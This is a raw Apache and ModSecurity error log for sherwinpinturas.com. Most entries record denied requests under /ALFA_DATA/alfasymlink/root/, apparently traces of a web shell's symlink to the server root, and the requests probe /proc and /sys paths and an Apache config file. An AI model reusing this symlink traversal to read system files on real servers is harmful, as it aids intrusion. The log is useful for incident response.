[Sun Oct 25 19:39:22.127914 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 34.233.114.237:20921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:00.0/subsystem/drivers/xen-platform-pci/unbind
[Sun Oct 25 19:39:26.133402 2026] [ssl:error] [pid 2922865:tid 2922865] (70014)End of file found: [client 3.221.50.71:8351] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:39:26.210058 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 85.208.96.198:37754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__mcount_loc
[Sun Oct 25 19:39:31.866121 2026] [core:error] [pid 2922325:tid 2922325] (13)Permission denied: [client 73.134.213.176:40530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/hwcache_align
[Sun Oct 25 19:39:34.215738 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 167.100.206.20:39244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/hwcache_align
[Sun Oct 25 19:39:35.950570 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 199.202.31.127:41896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/hwcache_align
[Sun Oct 25 19:39:36.700155 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 188.80.243.12:60253] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/usersize
[Sun Oct 25 19:39:38.974242 2026] [core:error] [pid 2922325:tid 2922325] (13)Permission denied: [client 172.117.207.94:35035] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/usersize
[Sun Oct 25 19:39:41.722249 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 45.166.166.13:35788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/usersize
[Sun Oct 25 19:39:50.201793 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 44.215.61.66:45620] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:39:54.383617 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 143.105.224.203:62646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/aliases
[Sun Oct 25 19:39:58.131337 2026] [ssl:error] [pid 2922856:tid 2922856] (70014)End of file found: [client 52.205.141.124:49664] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:39:58.151042 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 82.19.244.158:41978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/aliases
[Sun Oct 25 19:40:00.166683 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 105.98.53.51:60188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/aliases
[Sun Oct 25 19:40:01.285902 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 185.191.171.12:43528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:40:06.143390 2026] [security2:error] [pid 2922865:tid 2922865] [client 34.206.249.188:51428] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/input3/device/driver/serio1/subsystem/drivers/"] [unique_id "at6TVrdTIM1lIynjkUhGXAAAABk"]
[Sun Oct 25 19:40:06.143434 2026] [security2:error] [pid 2922865:tid 2922865] [client 34.206.249.188:51428] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/input3/device/driver/serio1/subsystem/drivers/"] [unique_id "at6TVrdTIM1lIynjkUhGXAAAABk"]
[Sun Oct 25 19:40:10.142144 2026] [ssl:error] [pid 2922856:tid 2922856] (70014)End of file found: [client 34.227.156.153:30871] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:40:14.136774 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 34.231.77.232:40776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:40:18.134780 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 3.224.205.25:36611] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/mouse0/subsystem/input4/device/driver/bind
[Sun Oct 25 19:40:24.380532 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 85.208.96.198:53156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/store_user
[Sun Oct 25 19:40:26.159051 2026] [ssl:error] [pid 2922865:tid 2922865] (70014)End of file found: [client 54.156.248.117:58609] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:40:30.137403 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 52.202.52.82:21566] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:40:51.500297 2026] [security2:error] [pid 2919322:tid 2919322] [client 85.208.96.195:60532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/tk8.6/ttk/cursors.tcl"] [unique_id "at6Tg5Ho7mmwz2JULlIsTQAAAAw"]
[Sun Oct 25 19:40:51.500331 2026] [security2:error] [pid 2919322:tid 2919322] [client 85.208.96.195:60532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/tk8.6/ttk/cursors.tcl"] [unique_id "at6Tg5Ho7mmwz2JULlIsTQAAAAw"]
[Sun Oct 25 19:40:54.144412 2026] [ssl:error] [pid 2922855:tid 2922855] (70014)End of file found: [client 98.82.66.172:39048] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:41:02.142186 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 44.215.210.112:45111] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:41:18.138344 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 52.207.47.227:50950] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:41:26.139369 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 18.206.47.187:22900] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:41:30.208350 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 3.213.106.226:12426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:41:38.619892 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 85.208.96.203:39644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/object_size
[Sun Oct 25 19:41:38.941616 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 209.107.192.13:42635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/sanity_checks
[Sun Oct 25 19:41:40.950878 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 88.97.220.252:36897] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/sanity_checks
[Sun Oct 25 19:41:40.951412 2026] [security2:error] [pid 2922868:tid 2922868] [client 88.97.220.252:36897] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/sanity_checks"] [unique_id "at6TtGICTqSqeaZzEzUn_AAAABw"]
[Sun Oct 25 19:41:40.951443 2026] [security2:error] [pid 2922868:tid 2922868] [client 88.97.220.252:36897] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/sanity_checks"] [unique_id "at6TtGICTqSqeaZzEzUn_AAAABw"]
[Sun Oct 25 19:41:43.363330 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 186.194.162.18:39850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/sanity_checks
[Sun Oct 25 19:42:02.262825 2026] [security2:error] [pid 2920879:tid 2920879] [client 18.207.79.144:58031] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/usr/local/apache/conf/php.conf"] [unique_id "at6TyrcrQhShYzyQyTKLIgAAAAM"]
[Sun Oct 25 19:42:02.263228 2026] [security2:error] [pid 2920879:tid 2920879] [client 18.207.79.144:58031] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/usr/local/apache/conf/php.conf"] [unique_id "at6TyrcrQhShYzyQyTKLIgAAAAM"]
[Sun Oct 25 19:42:02.263535 2026] [security2:error] [pid 2920879:tid 2920879] [client 18.207.79.144:58031] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/usr/local/apache/conf/php.conf"] [unique_id "at6TyrcrQhShYzyQyTKLIgAAAAM"]
[Sun Oct 25 19:42:02.702167 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 85.208.96.206:65294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_subflow/partial
[Sun Oct 25 19:42:04.121011 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 85.208.96.194:13248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/objs_per_slab
[Sun Oct 25 19:42:12.884270 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 74.79.224.200:57594] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPCSPFwd.lock
[Sun Oct 25 19:42:16.501720 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 45.161.137.176:15991] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/CSPCSPFwd.lock
[Sun Oct 25 19:42:18.065632 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 85.208.96.208:12552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/partial
[Sun Oct 25 19:42:18.131313 2026] [ssl:error] [pid 2923347:tid 2923347] (70014)End of file found: [client 98.84.184.80:22568] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:42:18.131588 2026] [security2:error] [pid 2923347:tid 2923347] [client 98.84.184.80:22568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory19/state"] [unique_id "at6T2mQoaGya8kOBwiLUiQAAAAI"]
[Sun Oct 25 19:42:18.131656 2026] [security2:error] [pid 2923347:tid 2923347] [client 98.84.184.80:22568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory19/state"] [unique_id "at6T2mQoaGya8kOBwiLUiQAAAAI"]
[Sun Oct 25 19:42:22.142003 2026] [ssl:error] [pid 2922333:tid 2922333] (22)Invalid argument: [client 35.173.18.61:55936] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:42:34.142586 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 18.215.77.19:34274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:42:37.652093 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 185.191.171.6:63640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/alloc_calls
[Sun Oct 25 19:42:38.130872 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 34.195.248.30:48255] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:01.2/resource4
[Sun Oct 25 19:42:46.141848 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 35.171.117.160:47564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:42:56.860577 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 196.119.101.179:41716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/sanity_checks
[Sun Oct 25 19:43:00.130960 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 45.230.49.185:49791] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/sanity_checks
[Sun Oct 25 19:43:03.338959 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 110.150.45.171:58345] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/sanity_checks
[Sun Oct 25 19:43:06.329906 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 34.225.24.180:31924] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:43:11.928487 2026] [security2:error] [pid 2922286:tid 2922286] [client 107.172.76.131:49333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6UAiML9QMr9_Qxg78JVwAAABM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 19:43:11.928546 2026] [security2:error] [pid 2922286:tid 2922286] [client 107.172.76.131:49333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6UAiML9QMr9_Qxg78JVwAAABM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 19:43:18.182385 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 54.85.126.86:20728] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:43:18.182583 2026] [security2:error] [pid 2922868:tid 2922868] [client 54.85.126.86:20728] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/cpulist"] [unique_id "at6UFmICTqSqeaZzEzUoAwAAABw"]
[Sun Oct 25 19:43:18.182631 2026] [security2:error] [pid 2922868:tid 2922868] [client 54.85.126.86:20728] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/cpulist"] [unique_id "at6UFmICTqSqeaZzEzUoAwAAABw"]
[Sun Oct 25 19:43:21.081133 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 212.47.139.165:5432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/objects_partial
[Sun Oct 25 19:43:22.272086 2026] [ssl:error] [pid 2922865:tid 2922865] (5)Input/output error: [client 54.235.125.129:6933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:43:23.126057 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 73.132.127.54:35781] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/objects_partial
[Sun Oct 25 19:43:25.662629 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 86.19.37.216:46817] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/objects_partial
[Sun Oct 25 19:43:35.601124 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 37.61.126.113:2991] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/remote_node_defrag_ratio
[Sun Oct 25 19:43:38.373218 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 102.96.154.202:51014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/remote_node_defrag_ratio
[Sun Oct 25 19:43:40.095978 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 66.66.71.64:46213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/remote_node_defrag_ratio
[Sun Oct 25 19:43:42.038920 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 102.141.51.192:46752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/slabs_cpu_partial
[Sun Oct 25 19:43:43.523463 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 170.39.252.39:58305] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/slabs_cpu_partial
[Sun Oct 25 19:43:46.135254 2026] [ssl:error] [pid 2922865:tid 2922865] (70014)End of file found: [client 18.207.89.138:62252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:43:46.558846 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 179.223.114.252:42198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/tailwatchd.pid
[Sun Oct 25 19:43:47.707896 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 186.15.92.119:16409] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/sanity_checks
[Sun Oct 25 19:43:49.181386 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 51.36.232.202:15701] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/tailwatchd.pid
[Sun Oct 25 19:43:51.183564 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 38.121.218.31:33904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/tailwatchd.pid
[Sun Oct 25 19:43:51.185165 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 59.102.31.219:41965] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/sanity_checks
[Sun Oct 25 19:43:53.214673 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 5.68.136.42:1361] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/sanity_checks
[Sun Oct 25 19:43:54.126791 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 44.193.115.232:57576] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:43:56.048267 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 209.173.194.137:4042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objects
[Sun Oct 25 19:43:58.132623 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 52.3.156.186:12314] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:44:02.270009 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 23.21.225.190:62657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:44:02.428468 2026] [security2:error] [pid 2920879:tid 2920879] [client 184.94.112.250:52769] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "at6UQrcrQhShYzyQyTKLJgAAAAM"]
[Sun Oct 25 19:44:02.428605 2026] [security2:error] [pid 2920879:tid 2920879] [client 184.94.112.250:52769] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "at6UQrcrQhShYzyQyTKLJgAAAAM"]
[Sun Oct 25 19:44:05.828330 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 73.110.61.197:45464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objects
[Sun Oct 25 19:44:09.335422 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 86.184.73.178:44190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/objects_partial
[Sun Oct 25 19:44:11.189714 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 209.107.192.8:35767] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/objects_partial
[Sun Oct 25 19:44:14.136221 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 18.214.186.220:49840] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:44:14.139956 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 190.217.10.64:48245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/objects_partial
[Sun Oct 25 19:44:30.169762 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 54.92.171.106:22173] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:44:33.862869 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 51.39.105.239:1938] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:44:36.629436 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 186.49.176.92:53742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/remote_node_defrag_ratio
[Sun Oct 25 19:44:39.327180 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 45.71.180.27:48848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/remote_node_defrag_ratio
[Sun Oct 25 19:44:40.165977 2026] [ssl:error] [pid 2923347:tid 2923347] (70014)End of file found: [client 164.153.56.208:25001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:44:42.845763 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 144.124.192.144:39565] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/remote_node_defrag_ratio
[Sun Oct 25 19:44:46.796136 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 87.177.87.109:46186] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:44:50.188522 2026] [ssl:error] [pid 2919322:tid 2919322] (5)Input/output error: [client 52.203.152.231:19405] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:45:02.213571 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 162.217.35.82:51540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/alloc_calls
[Sun Oct 25 19:45:02.259250 2026] [core:error] [pid 2924261:tid 2924261] (13)Permission denied: [client 34.204.150.196:14149] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:10/subsystem/tty1/subsystem/ttyS1/close_delay
[Sun Oct 25 19:45:04.331354 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 177.23.50.129:7057] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/alloc_calls
[Sun Oct 25 19:45:06.211742 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 44.220.2.97:4356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:17/subsystem/devices/device:09/eject
[Sun Oct 25 19:45:06.598867 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 98.97.14.166:34159] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/align
[Sun Oct 25 19:45:07.105827 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 76.66.240.134:57464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/alloc_calls
[Sun Oct 25 19:45:08.912288 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 47.233.9.32:39197] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/align
